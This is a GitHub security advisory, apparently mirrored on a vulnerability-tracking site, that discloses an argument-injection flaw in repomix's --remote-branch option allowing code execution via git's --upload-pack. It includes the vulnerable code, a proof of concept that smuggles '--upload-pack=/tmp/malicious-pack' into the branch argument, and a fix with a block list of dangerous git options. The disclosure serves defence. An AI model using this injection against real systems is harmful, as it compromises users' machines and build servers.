GHSA-9MM9-RQHJ-J5MX

Vulnerability from github – Published: 2026-07-01 19:00 – Updated: 2026-07-01 19:00
VLAI
Summary
repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection
Details

Vulnerability Metadata

Field Detail
Affected Component src/core/git/gitCommand.ts (execGitShallowClone)
Impact Arbitrary Command Execution / Security Control Bypass

Summary

The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.

An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().

Vulnerable Code Analysis

File: src/core/git/gitCommand.ts

The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.

Sink 1 (Lines 118-127):

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
  gitRemoteOpts,
);

Sink 2 (Lines 148-151):

await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable

Bypassed Security Control (Lines 192-197): The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.

Attack Flow

[Source] repomix --remote-branch <injected_option>
   ↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
   ↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
   ↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
   ↓
[Execution] git invokes the payload binary via transport helper

Proof of Concept (Steps to Reproduce)

1. Create the Payload Create an executable bash script that writes system execution context to a file. (Reference: Screenshot_2026-05-18_13_02_16.png)

cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack

2. Trigger the Vulnerability Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument. (Reference: Screenshot_2026-05-18_13_08_36.png)

# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git

# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git

# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1

3. Verify Execution Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.

cat /tmp/repomix-pwned.txt

Expected Output:

=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...

End-to-End Execution via Repomix:

repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'

Impact

  • Remote Code Execution: Complete system compromise with the privileges of the user executing repomix.
  • CI/CD Compromise: If repomix is utilized in automated pipelines where --remote-branch is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.

Remediation

1. Implement Positional Delimiters (Primary Fix) Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
  gitRemoteOpts,
);

2. Apply Existing Blocklist to Branch Parameter (Defense in Depth) Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.

const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];

if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}

Attachments

Screenshot 1: Payload script created with executable permissions. Screenshot_2026-05-18_13_02_16

Screenshot 2: Vulnerable Code Screenshot_2026-05-18_13_03_44

Screenshot 3: Verifying RCE. Screenshot_2026-05-18_13_08_36


Credits

This vulnerability was discovered and responsibly disclosed by: - Researcher: Abhijith S. - GitHub: @kakashi-kx - HackerOne/Bugcrowd: kakashi4kx

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "repomix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T19:00:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n  \u0027git\u0027,\n  [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, remoteBranch], // Vulnerable\n  gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync(\u0027git\u0027, [\u0027-C\u0027, directory, \u0027checkout\u0027, remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch \u003cinjected_option\u003e\n   \u2193\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n   \u2193\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n   \u2193\n[Sink] execFileAsync(\u0027git\u0027, [\u0027...\u0027, \u0027origin\u0027, \u0027--upload-pack=/tmp/payload\u0027])\n   \u2193\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat \u003e /tmp/malicious-pack \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" \u003e /tmp/repomix-pwned.txt\nid \u003e\u003e /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch \u0026\u0026 cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2\u003e\u00261\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch \u0027--upload-pack=/tmp/malicious-pack\u0027\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n  \u0027git\u0027,\n  [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, \u0027--\u0027, remoteBranch],\n  gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = [\u0027--upload-pack\u0027, \u0027--receive-pack\u0027, \u0027--config\u0027, \u0027--exec\u0027];\n\nif (remoteBranch \u0026\u0026 dangerousParams.some((param) =\u003e remoteBranch.includes(param))) {\n  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" /\u003e\n\n\n**Screenshot 2:** Vulnerable Code \n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" /\u003e\n\n\n**Screenshot 3:** Verifying RCE.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" /\u003e\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
  "id": "GHSA-9mm9-rqhj-j5mx",
  "modified": "2026-07-01T19:00:50Z",
  "published": "2026-07-01T19:00:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamadashy/repomix"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…